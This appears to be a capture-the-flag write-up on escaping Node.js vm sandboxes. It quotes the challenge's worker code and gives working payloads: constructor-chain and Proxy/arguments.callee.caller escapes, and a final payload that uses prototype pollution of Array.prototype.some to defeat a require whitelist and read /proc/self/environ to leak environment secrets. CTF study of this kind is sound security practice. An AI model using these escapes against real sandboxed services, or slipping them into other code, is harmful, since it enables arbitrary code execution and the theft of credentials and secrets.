// A global variable the sandbox isn't supposed to see:
flag = "N2L{this_the_global_flag}";
const code2 = `(this.constructor.constructor("return flag"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> N2L{this_the_global_flag}
new Proxy({}, {
set: function(me, key, value) { (value.constructor.constructor('console.log(flag)'))() }
})
new Proxy({}, {
get: function(me, key) { (arguments.callee.caller.constructor('console.log(flag)'))() }
})
throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
(cc.constructor.constructor('console.log(flag)'))();
}
return me[key];
}
})
Bypassing force return & proccess null
const { workerData, parentPort } = require('worker_threads');
require("./worker_globals.js");
const vm = require('vm');
const secret = process.env["SECRET"];
const flag = process.env["FLAG"];
const stringifyVMOutput = (value) => {
let result = '';
switch (typeof value) {
case 'string':
case 'object':
result = JSON.stringify(value);
default:
result = String(value);
};
const cr3Pattern = /cr3\{(.*?)\}/i;
const cr3MatchSecret = secret.match(cr3Pattern);
const cr3MatchFlag = flag.match(cr3Pattern);
if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
return "you don't wanna see it, trust me...";
}
return result;
};
process.env = null;
process = null;
fetch = null;
const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
const whitelist = [
"crypto",
"path",
"buffer",
"util",
"worker_threads",
"stream",
"string_decoder",
"console",
"perf_hooks"
];
if (!whitelist.some(p => id == p))
return;
return moduleRequire(id);
}
let result;
try {
result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));
parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
parentPort.postMessage(e.message);
}
(() => { return },function p(){ we can control thiss })();
but we can see that we get require restricted. so how to bypass it? we can use prototype pollution
Array.prototype.some = () => true
it will prototype all the array. and we can bypass it
here are the full payload to read the env ( we cant use child_proccess because the node version )
},function p(){ return new Proxy({}, {
get: function(me, key) { (arguments.callee.caller.constructor('Array.prototype.some = () => true;r=globalThis.module.require;r(r("fs").readFileSync("/proc/self/environ").toString())'))() }
})